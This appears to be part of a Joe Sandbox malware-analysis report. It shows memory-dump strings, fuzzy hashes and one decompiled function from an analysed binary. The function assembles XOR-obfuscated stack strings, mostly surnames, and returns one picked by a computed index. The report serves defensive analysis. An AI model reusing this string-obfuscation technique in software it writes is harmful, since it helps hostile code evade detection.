0x0040fefb
0x0040ff24

Strings

t, xrefs: 0040F9C0
s, xrefs: 0040FB74
l, xrefs: 0040F801
r, xrefs: 0040F7A2
h, xrefs: 0040FA53
d, xrefs: 0040F79A
k, xrefs: 0040F971
gibor, xrefs: 0040FE9D
b, xrefs: 0040F724
s, xrefs: 0040F557
i, xrefs: 0040F9A8
o, xrefs: 0040F60D
r, xrefs: 0040F357
s, xrefs: 0040FD79
o, xrefs: 0040FD81
w, xrefs: 0040F855
5, xrefs: 0040FA06
m, xrefs: 0040FB6C
r, xrefs: 0040F634
z, xrefs: 0040FD52
n, xrefs: 0040F90B
r, xrefs: 0040F6F4
e, xrefs: 0040F84C
g, xrefs: 0040F624
e, xrefs: 0040FD4A
n, xrefs: 0040F8E4
6, xrefs: 0040F2DF
w, xrefs: 0040F500
a, xrefs: 0040FDA0
d, xrefs: 0040FB5C
e, xrefs: 0040F847
eroon, xrefs: 0040FCD5
irdor, xrefs: 0040FE34
i, xrefs: 0040F510
c, xrefs: 0040FD98
J, xrefs: 0040F196
i, xrefs: 0040F979
i, xrefs: 0040F72C
o, xrefs: 0040F5ED
s, xrefs: 0040F35F
e, xrefs: 0040FDB8
n, xrefs: 0040F981
r, xrefs: 0040F2A8
n, xrefs: 0040F93A
a, xrefs: 0040F942
u, xrefs: 0040F903
l, xrefs: 0040F6C4
p, xrefs: 0040F39E
n, xrefs: 0040FB45
r, xrefs: 0040FDA8
>, xrefs: 0040F2D7
lybor, xrefs: 0040FC6D
e, xrefs: 0040F34F
t, xrefs: 0040F518
n, xrefs: 0040FD89
k, xrefs: 0040F86D
r, xrefs: 0040FB2D
d, xrefs: 0040F952
l, xrefs: 0040FD42
c, xrefs: 0040F63C
e, xrefs: 0040F520
l, xrefs: 0040F865
o, xrefs: 0040F367
g, xrefs: 0040F989
#, xrefs: 0040FA1E
e, xrefs: 0040F875
a, xrefs: 0040F337
e, xrefs: 0040F92A
h, xrefs: 0040F922
r, xrefs: 0040F78A
o, xrefs: 0040F71C
h, xrefs: 0040F5E5
e, xrefs: 0040FB3D
a, xrefs: 0040FB54
n, xrefs: 0040F94A
e, xrefs: 0040FD69
a, xrefs: 0040F64C
l, xrefs: 0040F842
h, xrefs: 0040F508
l, xrefs: 0040FD71
w, xrefs: 0040F998
g, xrefs: 0040F913
p, xrefs: 0040F5FD
t, xrefs: 0040F5DD
i, xrefs: 0040F644
r, xrefs: 0040F87D
e, xrefs: 0040FB35
e, xrefs: 0040F8CB
7, xrefs: 0040F65B
h, xrefs: 0040F9B8
n, xrefs: 0040F615
a, xrefs: 0040F62C
n, xrefs: 0040F36F
m, xrefs: 0040F6E4
r, xrefs: 0040FDC0
o, xrefs: 0040F298
o, xrefs: 0040F8FB
g, xrefs: 0040F9B0
n, xrefs: 0040F33F
o, xrefs: 0040F792
], xrefs: 0040F7F9
6, xrefs: 0040F663
h, xrefs: 0040F596
s, xrefs: 0040F605
i, xrefs: 0040F67B
m, xrefs: 0040F5F5
r, xrefs: 0040F932
B, xrefs: 0040F5CE
e, xrefs: 0040F3BE
z, xrefs: 0040F962
d, xrefs: 0040FA0E
r, xrefs: 0040F9A0
g, xrefs: 0040FB25
y, xrefs: 0040F8F3
a, xrefs: 0040FB64
q, xrefs: 0040F2E7
>, xrefs: 0040FA5B
e, xrefs: 0040F95A
t, xrefs: 0040FDB0
`, xrefs: 0040F6B4
herej, xrefs: 0040FC78
agy, xrefs: 0040FE18
o, xrefs: 0040F2A0
r, xrefs: 0040F714
d, xrefs: 0040F347
n, xrefs: 0040FD61
a, xrefs: 0040F85D
b, xrefs: 0040F3CE

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID:
String ID: #$5$6$6$7$>$>$B$J$]$`$a$a$a$a$a$a$a$a$agy$b$b$c$c$d$d$d$d$d$e$e$e$e$e$e$e$e$e$e$e$e$e$e$eroon$g$g$g$g$g$gibor$h$h$h$h$h$h$herej$i$i$i$i$i$i$irdor$k$k$l$l$l$l$l$l$lybor$m$m$m$n$n$n$n$n$n$n$n$n$n$n$o$o$o$o$o$o$o$o$o$p$p$q$r$r$r$r$r$r$r$r$r$r$r$r$r$s$s$s$s$s$t$t$t$t$u$w$w$w$y$z$z
API String ID: 0-1314068085
Opcode ID: f814ecafda00c4ebf2744aeb69f263850ec7365cb320409ab297e991b8707666
Instruction ID: d0aeb25637ea6dd485359826842848f35a99a4aca5a84e1b29fc89ac41c741ef
Opcode Fuzzy Hash: f814ecafda00c4ebf2744aeb69f263850ec7365cb320409ab297e991b8707666
Instruction Fuzzy Hash: D882AD2414D7C189E332C7288458BDFBFD25BE6718F088E9EC5DD1B292C6BA0259C767

Uniqueness

Uniqueness Score: -1.00%

Function 0040F1C7, Relevance: 159.3, Strings: 127, Instructions: 546
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E0040F1C7(void* __eax, char __ebx, void* __esi, intOrPtr _a4, char* _a8, signed char* _a12, char* _a16, char* _a20, intOrPtr _a24, char* _a28, intOrPtr _a32, char* _a36, intOrPtr _a40, char* _a44, intOrPtr _a48, signed char* _a52, char* _a56, intOrPtr _a60, char* _a64, char* _a68, char* _a72, intOrPtr _a76, char* _a80, char* _a84, signed int* _a88, intOrPtr _a92, char* _a96, intOrPtr _a100, char* _a104, char* _a108, char* _a112, intOrPtr _a116, signed char* _a120, char* _a124, char* _a128, signed char* _a132, intOrPtr _a136, signed int* _a140, char* _a144, intOrPtr _a148, char _a152, char _a153, char _a154, char _a155, char _a156, char _a157, char _a160, char _a161, char _a162, char _a163, char _a164, char _a165, char _a166, signed char _a172, signed char _a173, signed char _a174, signed char _a175, signed char _a176, signed char _a177, signed int _a180, signed int _a181, signed int _a182, signed int _a183, signed int _a184, signed int _a185, char _a186, char _a187, char _a188, char _a189, char _a190, char _a191, signed int _a192, signed int _a193, signed int _a194, signed int _a195, signed int _a196, signed int _a197, signed int _a198, signed int _a199, signed int _a200, signed int _a201, signed int _a202, signed int _a203, signed int _a204, signed int _a205, signed int _a206, char _a207, char _a208, signed char _a212, signed char _a213, signed char _a214, signed char _a215, signed char _a216, signed char _a217, char _a220, char _a228, char _a229, char _a230, char _a231, char _a232, char _a233, char _a244, char _a252, char _a253, char _a254, char _a255, char _a256, char _a257, char _a260, char _a261, char _a262, char _a263, char _a264, char _a265, char _a268, char _a269, char _a270, char _a271, char _a272, char _a273, char _a276, char _a284, char _a285, char _a286, char _a287, char _a288, char _a289, char _a292, char _a300, char _a308, char _a316, char _a324, char _a325, char _a326, char _a327, char _a328, char _a329, char _a332, char _a333, char _a334, char _a335, char _a336, char _a337, char _a340, char _a341, char _a342, char _a343, char _a344, char _a345, char _a346, char _a348, signed char _a356, signed char _a357, signed char _a358, signed char _a359, signed char _a360, signed char _a361, signed char _a362, char _a372, char _a380, char _a388, char _a389, char _a390, char _a391, char _a392, char _a393, char _a394, char _a396, char _a404, char _a405, char _a406, char _a407, char _a408, char _a409, char _a410, char _a416, char _a417, char _a418, char _a419, char _a420, char _a421, char _a422, char _a423, char _a424, char _a425, char _a426, char _a427, signed char _a428, signed char _a429, signed char _a430, signed char _a431, signed char _a432, signed char _a433, signed char _a434, signed char _a435, char _a440, char _a452, char _a453, char _a454, char _a455, char _a456, char _a457, char _a458, char _a459, char _a460, char _a464, char _a476, char _a477, char _a478, char _a479, char _a480, char _a481, char _a482, char _a483, char _a484, char _a485, char _a486, char _a487, char _a488, char _a489, char _a490, char _a491, char _a492, char _a493, intOrPtr _a496) {
				intOrPtr _v0;
				char* _v4;
				char* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				intOrPtr _v24;
				char _v28;
				char _v32;
				char _v33;
				void* _t457;
				char* _t465;
				void* _t468;
				void* _t477;
				intOrPtr _t479;
				signed int _t483;
				intOrPtr* _t485;
				char _t491;
				char _t500;
				void* _t512;
				signed char _t519;
				signed char _t521;
				signed int _t545;
				intOrPtr _t546;
				char _t571;
				intOrPtr _t599;
				void* _t600;
				void* _t602;
				void* _t603;
				void* _t604;
				void* _t605;
				intOrPtr _t609;
				void* _t611;

				_t602 = __esi;
				_t457 = __eax;
				do {
					_t491 =  *((intOrPtr*)(_t611 + _t457 + 0xc8));
					 *((char*)(_t611 + _t457 + 0xc8)) =  *((intOrPtr*)(_t611 + _t602 + 0xc8));
					_t457 = _t457 + 1;
					 *((char*)(_t611 + _t602 + 0xc8)) = _t491;
					_t602 = _t602 - 1;
				} while (_t457 < _t602);
				_a356 = _a200 ^ 0x0000008b;
				_a357 = _a201 ^ 0x0000000e;
				_a359 = _a203 ^ 0x000000b4;
				_a360 = _a204 ^ 0x00000025;
				_a358 = _a202 ^ 0x00000082;
				_a388 = 0xdb;
				_a206 = 0xdb;
				_push(7);
				_a362 = _a206 ^ 0x000000ac;
				_push( &_a388);
				_a361 = _a205 ^ 0x000000e6;
				 *0x431c89 = 0x19;
				_a332 = 0x6d;
				_a333 = 0x6f;
				_a334 = 0x6f;
				_a335 = 0x72;
				_a336 = 0x65;
				_a337 = __ebx;
				_a389 = 0x81;
				_a390 = 0xe5;
				_a391 = 0x9f;
				_a392 = 0x3e;
				_a393 = 0x36;
				_a394 = 0x71;
				_a200 = 0xc6;
				_a201 = 0xb2;
				_a202 = 0xd3;
				_a203 = 0xaa;
				_a204 = 0xc6;
				_a205 = 0xa9;
				_t465 = E0040D980( &_a200);
				_push(7);
				_push( &_a404);
				_a20 = _t465;
				_a480 = 0x61;
				_a481 = 0x6e;
				_a482 = 0x64;
				_a483 = 0x65;
				_a484 = 0x72;
				_a485 = 0x73;
				_a486 = 0x6f;
				_a487 = 0x6e;
				_a488 = __ebx;
				_a404 = 0xae;
				_a405 = 0xa8;
				_a406 = 0xa6;
				_a407 = 0xbf;
				_a408 = 0x70;
				_a409 = 0x89;
				_a410 = 0x13;
				_a192 = 0x11;
				_a193 = 0x65;
				_a194 = 0xd;
				_a195 = 0x62;
				_a196 = 0xf;
				_a197 = 0x6e;
				_a198 = 0x1d;
				_a20 = E0040D980( &_a192);
				_a192 = 0xa8;
				_a193 = 0xa2;
				_a194 = 0xaf;
				_a195 = 0xb1;
				_a196 = 0x15;
				_a197 = 0xd5;
				_a198 = 0x82;
				_a199 = 0x58;
				_push(0);
				_pop(_t468);
				_t603 = 7;
				do {
					_t500 =  *((intOrPtr*)(_t611 + _t468 + 0xd0));
					 *((char*)(_t611 + _t468 + 0xd0)) =  *((intOrPtr*)(_t611 + _t603 + 0xd0));
					_t468 = _t468 + 1;
					 *((char*)(_t611 + _t603 + 0xd0)) = _t500;
					_t603 = _t603 - 1;
				} while (_t468 < _t603);
				_a429 = _a193 ^ 0x000000e3;
				_a428 = _a192 ^ 0x00000032;
				_a430 = _a194 ^ 0x000000b6;
				_a432 = _a196 ^ 0x000000c2;
				_a431 = _a195 ^ 0x0000007e;
				_a433 = _a197 ^ 0x000000c0;
				_push(7);
				_a435 = _a199 ^ 0x000000a8;
				_push( &_a356);
				_a434 = _a198 ^ 0x000000cc;
				 *0x431c89 = 0x19;
				_a324 = 0x77;
				_a325 = 0x68;
				_a326 = 0x69;
				_a327 = 0x74;
				_a328 = 0x65;
				_a329 = __ebx;
				_a404 = 0x68;
				_a405 = 0x61;
				_a406 = 0x72;
				_a407 = 0x72;
				_a408 = 0x69;
				_a409 = 0x73;
				_a410 = __ebx;
				_a356 = 0x2a;
				_a357 = 0x9c;
				_a358 = 0xed;
				_a359 = 0x35;
				_a360 = 0x4a;
				_a361 = 0x35;
				_a362 = 0x68;
				_a184 = 0x4f;
				_a185 = 0x22;
				_a186 = 0x43;
				_a187 = 0x31;
				_a188 = 0x45;
				_a189 = 0x2c;
				_a190 = 0x42;
				_t599 = E0040D980( &_a184);
				_a452 = 0x74;
				_a453 = 0x68;
				_a454 = 0x6f;
				_a455 = 0x6d;
				_a456 = 0x70;
				_a457 = 0x73;
				_a458 = 0x6f;
				_a459 = 0x6e;
				_a460 = __ebx;
				_a340 = 0x67;
				_a341 = 0x61;
				_a342 = 0x72;
				_a343 = 0x63;
				_a344 = 0x69;
				_a345 = 0x61;
				_a346 = __ebx;
				_a476 = 0x37;
				_a477 = 0x36;
				_a478 = 0xb3;
				_a479 = 0xc1;
				_a480 = 0x69;
				_a481 = 0x80;
				_push(9);
				_push( &_a476);
				_a482 = 0xc4;
				_a483 = 0x8e;
				_a484 = 0x89;
				_a184 = 0x60;
				_a185 = 0xd;
				_a186 = 0x6c;
				_a187 = 0x1e;
				_a188 = 0x6a;
				_a189 = 3;
				_a190 = 0x6d;
				_a191 = 8;
				_a192 = 0x72;
				_t477 = E0040D980( &_a184);
				_push(6);
				_push( &_a284);
				_t609 = _t477;
				_a420 = 0x72;
				_a421 = 0x6f;
				_a422 = 0x62;
				_a423 = 0x69;
				_a424 = 0x6e;
				_a425 = 0x73;
				_a426 = 0x6f;
				_a427 = 0x6e;
				_a428 = __ebx;
				_a260 = 0x63;
				_a261 = 0x6c;
				_a262 = 0x61;
				_a263 = 0x72;
				_a264 = 0x6b;
				_a265 = __ebx;
				_a480 = 0x72;
				_a481 = 0x6f;
				_a482 = 0x64;
				_a483 = 0x72;
				_a484 = 0x69;
				_a485 = 0x67;
				_a486 = 0x75;
				_a487 = 0x65;
				_a488 = 0x7a;
				_a489 = __ebx;
				_a284 = 0xfd;
				_a285 = 0xda;
				_a286 = 0x64;
				_a287 = 0xb0;
				_a288 = 0x5d;
				_a289 = 0x6c;
				_a196 = 0xc2;
				_a197 = 0xae;
				_a198 = 0xcb;
				_a199 = 0xbc;
				_a200 = 0xd5;
				_a201 = 0xa6;
				_v8 = E0040D980( &_a196);
				_v20 = 0x6c;
				_v19 = 0x65;
				_v18 = 0x65;
				_v17 = __ebx;
				_a340 = 0x77;
				_a341 = 0x61;
				_a342 = 0x6c;
				_a343 = 0x6b;
				_a344 = 0x65;
				_a345 = 0x72;
				_a346 = __ebx;
				_a204 = 0x68;
				_a205 = 0x61;
				_a206 = 0x6c;
				_a207 = 0x6c;
				_a208 = __ebx;
				_a284 = 0x61;
				_a285 = 0x6c;
				_a286 = 0x6c;
				_a287 = 0x65;
				_push(5);
				_push( &_a212);
				_a288 = 0x6e;
				_a289 = __ebx;
				_a268 = 0x79;
				_a269 = 0x6f;
				_a270 = 0x75;
				_a271 = 0x6e;
				_a272 = 0x67;
				_a273 = __ebx;
				_a484 = 0x68;
				_a485 = 0x65;
				_a486 = 0x72;
				_a487 = 0x6e;
				_a488 = 0x61;
				_a489 = 0x6e;
				_a490 = 0x64;
				_a491 = 0x65;
				_a492 = 0x7a;
				_a493 = __ebx;
				_a196 = 0x6b;
				_a197 = 0x69;
				_a198 = 0x6e;
				_a199 = 0x67;
				_a200 = __ebx;
				_a356 = 0x77;
				_a357 = 0x72;
				_a358 = 0x69;
				_a359 = 0x67;
				_a360 = 0x68;
				_a361 = 0x74;
				_a362 = __ebx;
				_a228 = 0x6c;
				_a229 = 0x6f;
				_a230 = 0x70;
				_a231 = 0x65;
				_a232 = 0x7a;
				_a233 = __ebx;
				_a212 = 0xc7;
				_a213 = 0x35;
				_a214 = 0x64;
				_a215 = 0x14;
				_a216 = 0x23;
				_a180 = 0x60;
				_a181 = 8;
				_a182 = 0x61;
				_a183 = 0xd;
				_a184 = 0x61;
				_t479 = E0040D980( &_a180);
				_a172 = 0x68;
				_a173 = 0x3e;
				_a174 = 0xbb;
				_a175 = 0xf0;
				_a176 = 0xec;
				_a177 = 0xa1;
				_t512 = 0;
				_t604 = 5;
				do {
					_v33 =  *((intOrPtr*)(_t611 + _t512 + 0xe0));
					 *((char*)(_t611 + _t512 + 0xe0)) =  *((intOrPtr*)(_t611 + _t604 + 0xe0));
					_t512 = _t512 + 1;
					 *((char*)(_t611 + _t604 + 0xe0)) = _v33;
					_t604 = _t604 - 1;
				} while (_t512 < _t604);
				_a212 = _a172 ^ 0x000000d2;
				_a213 = _a173 ^ 0x0000008f;
				_a214 = _a174 ^ 0x0000009f;
				_a215 = _a175 ^ 0x000000cf;
				_a216 = _a176 ^ 0x0000004a;
				_t519 = 5;
				_a217 = _a177 ^ 0x00000068;
				_a252 = 0x67;
				_a253 = 0x72;
				_a254 = 0x65;
				_a255 = 0x65;
				_a256 = 0x6e;
				_a257 = __ebx;
				_a152 = 0x61;
				_a153 = 0x64;
				_a154 = 0x61;
				_a155 = 0x6d;
				_a156 = 0x73;
				_a157 = __ebx;
				_a180 = 0x7a;
				_a181 = 0x24;
				_a182 = 0x9b;
				_a183 = 6;
				_a184 = 0x77;
				_a185 = 0xe5;
				_t605 = 0;
				_a172 = 5;
				do {
					_t571 =  *((intOrPtr*)(_t611 + _t605 + 0xe8));
					 *((char*)(_t611 + _t605 + 0xe8)) =  *((intOrPtr*)(_t611 + _t519 + 0xe8));
					_t521 = _a172;
					_t605 = _t605 + 1;
					 *((char*)(_t611 + _t521 + 0xe8)) = _t571;
					_t519 = _t521 - 1;
					_v33 = _t571;
					_a172 = _t519;
				} while (_t605 < _t519);
				_a172 = _a180 ^ 0x00000087;
				_a173 = _a181 ^ 0x00000016;
				_a174 = _a182 ^ 0x0000006d;
				_a175 = _a183 ^ 0x000000fe;
				_a176 = _a184 ^ 0x00000056;
				_a177 = _a185 ^ 0x0000007a;
				_v8 =  &_a300;
				_v4 =  &_v32;
				_t351 =  &_a228; // 0x6c
				_v0 = _t351;
				_t353 =  &_a380; // 0x68
				_a4 = _t353;
				_a8 =  &_a388;
				_a12 =  &_a356;
				_a16 =  &_a308;
				_a20 =  &_a284;
				_a24 = _v20;
				_a28 =  &_a440;
				_a32 = _v12;
				_a36 =  &_a396;
				_t371 =  &_a292; // 0x65
				_a40 = _t371;
				_a44 =  &_a372;
				_a52 =  &_a428;
				_a56 =  &_a316;
				_a64 =  &_a404;
				 *0x431c89 = 0x19;
				_a416 = 0x67;
				_a417 = 0x6f;
				_a418 = 0x6e;
				_a419 = 0x7a;
				_a420 = 0x61;
				_a421 = 0x6c;
				_a422 = 0x65;
				_a423 = 0x7a;
				_a424 = __ebx;
				_a180 = 0x6e;
				_a181 = 0x65;
				_a182 = 0x6c;
				_a183 = 0x73;
				_a184 = 0x6f;
				_a185 = 0x6e;
				_a186 = __ebx;
				_a160 = 0x63;
				_a161 = 0x61;
				_a162 = 0x72;
				_a163 = 0x74;
				_a164 = 0x65;
				_a165 = 0x72;
				_a166 = __ebx;
				_a48 = _t599;
				_a60 = _t609;
				_a68 =  &_a244;
				_a72 =  &_a464;
				_a76 = _v16;
				_a80 =  &_v28;
				_a84 =  &_a332;
				_a88 =  &_a196;
				_t418 =  &_a276; // 0x61
				_a92 = _t418;
				_a96 =  &_a260;
				_t422 =  &_a476; // 0x69
				_a100 = _t422;
				_a104 =  &_a188;
				_a108 =  &_a348;
				_a116 = _t479;
				_a112 =  &_a220;
				_a120 =  &_a212;
				_a124 =  &_a252;
				_t437 =  &_a416; // 0x67
				_a128 =  &_a152;
				_a132 =  &_a172;
				_a136 = _t437;
				_a140 =  &_a180;
				_a144 =  &_a160;
				_a148 = _v24;
				_t483 = E0040C1D0( &_a180);
				_t545 = 0x28;
				_t606 =  *((intOrPtr*)(_t611 + 0x28 + _t483 % _t545 * 4));
				_t485 =  *((intOrPtr*)(_t611 + 0x28 + _t483 % _t545 * 4));
				_t600 = _t485 + 1;
				do {
					_t546 =  *_t485;
					_t485 = _t485 + 1;
				} while (_t546 != __ebx);
				return E00424873(E004028A0(_a496, _t606, _t485 - _t600), _a480);
			}

0x0040f1c7
0x0040f1c7
0x0040f1d0
0x0040f1d7
0x0040f1de
0x0040f1e5
0x0040f1e6
0x0040f1ed
0x0040f1ee
0x0040f20c
0x0040f21a
0x0040f22d
0x0040f23b
0x0040f247
0x0040f257
0x0040f25e
0x0040f265
0x0040f26e
0x0040f27a
0x0040f282
0x0040f289
0x0040f290
0x0040f298
0x0040f2a0
0x0040f2a8
0x0040f2b0
0x0040f2b8
0x0040f2bf
0x0040f2c7
0x0040f2cf
0x0040f2d7
0x0040f2df
0x0040f2e7
0x0040f2ef
0x0040f2f6
0x0040f2fe
0x0040f306
0x0040f30e
0x0040f315
0x0040f31d
0x0040f322
0x0040f32b
0x0040f333
0x0040f337
0x0040f33f
0x0040f347
0x0040f34f
0x0040f357
0x0040f35f
0x0040f367
0x0040f36f
0x0040f377
0x0040f37e
0x0040f386
0x0040f38e
0x0040f396
0x0040f39e
0x0040f3a6
0x0040f3ae
0x0040f3b6
0x0040f3be
0x0040f3c6
0x0040f3ce
0x0040f3d6
0x0040f3de
0x0040f3e6
0x0040f3f3
0x0040f3f7
0x0040f3ff
0x0040f407
0x0040f40f
0x0040f417
0x0040f41f
0x0040f427
0x0040f42f
0x0040f439
0x0040f43a
0x0040f43d
0x0040f440
0x0040f447
0x0040f44e
0x0040f455
0x0040f456
0x0040f45d
0x0040f45e
0x0040f47c
0x0040f48d
0x0040f49e
0x0040f4ae
0x0040f4c0
0x0040f4d1
0x0040f4d8
0x0040f4e3
0x0040f4ea
0x0040f4f2
0x0040f4f9
0x0040f500
0x0040f508
0x0040f510
0x0040f518
0x0040f520
0x0040f528
0x0040f52f
0x0040f537
0x0040f53f
0x0040f547
0x0040f54f
0x0040f557
0x0040f55f
0x0040f566
0x0040f56e
0x0040f576
0x0040f57e
0x0040f586
0x0040f58e
0x0040f596
0x0040f59e
0x0040f5a6
0x0040f5ae
0x0040f5b6
0x0040f5be
0x0040f5c6
0x0040f5ce
0x0040f5db
0x0040f5dd
0x0040f5e5
0x0040f5ed
0x0040f5f5
0x0040f5fd
0x0040f605
0x0040f60d
0x0040f615
0x0040f61d
0x0040f624
0x0040f62c
0x0040f634
0x0040f63c
0x0040f644
0x0040f64c
0x0040f654
0x0040f65b
0x0040f663
0x0040f66b
0x0040f673
0x0040f67b
0x0040f683
0x0040f68b
0x0040f694
0x0040f69c
0x0040f6a4
0x0040f6ac
0x0040f6b4
0x0040f6bc
0x0040f6c4
0x0040f6cc
0x0040f6d4
0x0040f6dc
0x0040f6e4
0x0040f6ec
0x0040f6f4
0x0040f6fc
0x0040f701
0x0040f70a
0x0040f713
0x0040f714
0x0040f71c
0x0040f724
0x0040f72c
0x0040f734
0x0040f73c
0x0040f744
0x0040f74c
0x0040f754
0x0040f75b
0x0040f763
0x0040f76b
0x0040f773
0x0040f77b
0x0040f783
0x0040f78a
0x0040f792
0x0040f79a
0x0040f7a2
0x0040f7aa
0x0040f7b2
0x0040f7ba
0x0040f7c2
0x0040f7ca
0x0040f7d2
0x0040f7d9
0x0040f7e1
0x0040f7e9
0x0040f7f1
0x0040f7f9
0x0040f801
0x0040f809
0x0040f811
0x0040f819
0x0040f821
0x0040f829
0x0040f831
0x0040f83e
0x0040f842
0x0040f847
0x0040f84c
0x0040f851
0x0040f855
0x0040f85d
0x0040f865
0x0040f86d
0x0040f875
0x0040f87d
0x0040f885
0x0040f88c
0x0040f894
0x0040f89c
0x0040f8a4
0x0040f8ac
0x0040f8b3
0x0040f8bb
0x0040f8c3
0x0040f8cb
0x0040f8d3
0x0040f8dc
0x0040f8e4
0x0040f8ec
0x0040f8f3
0x0040f8fb
0x0040f903
0x0040f90b
0x0040f913
0x0040f91b
0x0040f922
0x0040f92a
0x0040f932
0x0040f93a
0x0040f942
0x0040f94a
0x0040f952
0x0040f95a
0x0040f962
0x0040f96a
0x0040f971
0x0040f979
0x0040f981
0x0040f989
0x0040f991
0x0040f998
0x0040f9a0
0x0040f9a8
0x0040f9b0
0x0040f9b8
0x0040f9c0
0x0040f9c8
0x0040f9cf
0x0040f9d7
0x0040f9df
0x0040f9e7
0x0040f9ef
0x0040f9f7
0x0040f9fe
0x0040fa06
0x0040fa0e
0x0040fa16
0x0040fa1e
0x0040fa26
0x0040fa2e
0x0040fa36
0x0040fa3e
0x0040fa46
0x0040fa4e
0x0040fa53
0x0040fa5b
0x0040fa63
0x0040fa6b
0x0040fa73
0x0040fa7b
0x0040fa83
0x0040fa89
0x0040fa90
0x0040fa97
0x0040faa2
0x0040faad
0x0040faae
0x0040fab5
0x0040fab6
0x0040facb
0x0040fadf
0x0040faed
0x0040fb01
0x0040fb0f
0x0040fb19
0x0040fb1e
0x0040fb25
0x0040fb2d
0x0040fb35
0x0040fb3d
0x0040fb45
0x0040fb4d
0x0040fb54
0x0040fb5c
0x0040fb64
0x0040fb6c
0x0040fb74
0x0040fb7c
0x0040fb83
0x0040fb8b
0x0040fb93
0x0040fb9b
0x0040fba3
0x0040fbab
0x0040fbb3
0x0040fbb5
0x0040fbc0
0x0040fbc7
0x0040fbce
0x0040fbd5
0x0040fbdc
0x0040fbdd
0x0040fbe4
0x0040fbe7
0x0040fbeb
0x0040fbeb
0x0040fc08
0x0040fc16
0x0040fc2a
0x0040fc38
0x0040fc4c
0x0040fc53
0x0040fc61
0x0040fc69
0x0040fc6d
0x0040fc74
0x0040fc78
0x0040fc7f
0x0040fc8a
0x0040fc95
0x0040fca0
0x0040fcaf
0x0040fcb3
0x0040fcc2
0x0040fcc6
0x0040fcd1
0x0040fcd5
0x0040fcdc
0x0040fce7
0x0040fcf9
0x0040fd04
0x0040fd0f
0x0040fd13
0x0040fd1a
0x0040fd22
0x0040fd2a
0x0040fd32
0x0040fd3a
0x0040fd42
0x0040fd4a
0x0040fd52
0x0040fd5a
0x0040fd61
0x0040fd69
0x0040fd71
0x0040fd79
0x0040fd81
0x0040fd89
0x0040fd91
0x0040fd98
0x0040fda0
0x0040fda8
0x0040fdb0
0x0040fdb8
0x0040fdc0
0x0040fdc8
0x0040fdcf
0x0040fdd3
0x0040fdd7
0x0040fde6
0x0040fdea
0x0040fdf5
0x0040fe03
0x0040fe11
0x0040fe18
0x0040fe1f
0x0040fe2d
0x0040fe34
0x0040fe3b
0x0040fe49
0x0040fe57
0x0040fe5e
0x0040fe7a
0x0040fe81
0x0040fe88
0x0040fe9d
0x0040fea4
0x0040feab
0x0040feb2
0x0040fecb
0x0040fed2
0x0040fed9
0x0040fee0
0x0040feeb
0x0040feef
0x0040fef4
0x0040fef5
0x0040fef8
0x0040fef8
0x0040fefa
0x0040fefb
0x0040ff24

Strings

t, xrefs: 0040F9C0
s, xrefs: 0040FB74
l, xrefs: 0040F801
r, xrefs: 0040F7A2
h, xrefs: 0040FA53
d, xrefs: 0040F79A
k, xrefs: 0040F971
gibor, xrefs: 0040FE9D
b, xrefs: 0040F724
s, xrefs: 0040F557
i, xrefs: 0040F9A8
o, xrefs: 0040F60D
r, xrefs: 0040F357
s, xrefs: 0040FD79
o, xrefs: 0040FD81
w, xrefs: 0040F855
5, xrefs: 0040FA06
m, xrefs: 0040FB6C
r, xrefs: 0040F634
z, xrefs: 0040FD52
n, xrefs: 0040F90B
r, xrefs: 0040F6F4
e, xrefs: 0040F84C
g, xrefs: 0040F624
e, xrefs: 0040FD4A
n, xrefs: 0040F8E4
6, xrefs: 0040F2DF
w, xrefs: 0040F500
a, xrefs: 0040FDA0
d, xrefs: 0040FB5C
e, xrefs: 0040F847
eroon, xrefs: 0040FCD5
irdor, xrefs: 0040FE34
i, xrefs: 0040F510
c, xrefs: 0040FD98
i, xrefs: 0040F979
i, xrefs: 0040F72C
o, xrefs: 0040F5ED
s, xrefs: 0040F35F
e, xrefs: 0040FDB8
n, xrefs: 0040F981
r, xrefs: 0040F2A8
n, xrefs: 0040F93A
a, xrefs: 0040F942
u, xrefs: 0040F903
l, xrefs: 0040F6C4
p, xrefs: 0040F39E
n, xrefs: 0040FB45
r, xrefs: 0040FDA8
>, xrefs: 0040F2D7
lybor, xrefs: 0040FC6D
e, xrefs: 0040F34F
t, xrefs: 0040F518
n, xrefs: 0040FD89
k, xrefs: 0040F86D
r, xrefs: 0040FB2D
d, xrefs: 0040F952
l, xrefs: 0040FD42
c, xrefs: 0040F63C
e, xrefs: 0040F520
l, xrefs: 0040F865
o, xrefs: 0040F367
g, xrefs: 0040F989
#, xrefs: 0040FA1E
e, xrefs: 0040F875
a, xrefs: 0040F337
e, xrefs: 0040F92A
h, xrefs: 0040F922
r, xrefs: 0040F78A
o, xrefs: 0040F71C
h, xrefs: 0040F5E5
e, xrefs: 0040FB3D
a, xrefs: 0040FB54
n, xrefs: 0040F94A
e, xrefs: 0040FD69
a, xrefs: 0040F64C
l, xrefs: 0040F842
h, xrefs: 0040F508
l, xrefs: 0040FD71
w, xrefs: 0040F998
g, xrefs: 0040F913
p, xrefs: 0040F5FD
t, xrefs: 0040F5DD
i, xrefs: 0040F644
r, xrefs: 0040F87D
e, xrefs: 0040FB35
e, xrefs: 0040F8CB
7, xrefs: 0040F65B
h, xrefs: 0040F9B8
n, xrefs: 0040F615
a, xrefs: 0040F62C
n, xrefs: 0040F36F
m, xrefs: 0040F6E4
r, xrefs: 0040FDC0
o, xrefs: 0040F298
o, xrefs: 0040F8FB
g, xrefs: 0040F9B0
n, xrefs: 0040F33F
o, xrefs: 0040F792
], xrefs: 0040F7F9
6, xrefs: 0040F663
h, xrefs: 0040F596
s, xrefs: 0040F605
i, xrefs: 0040F67B
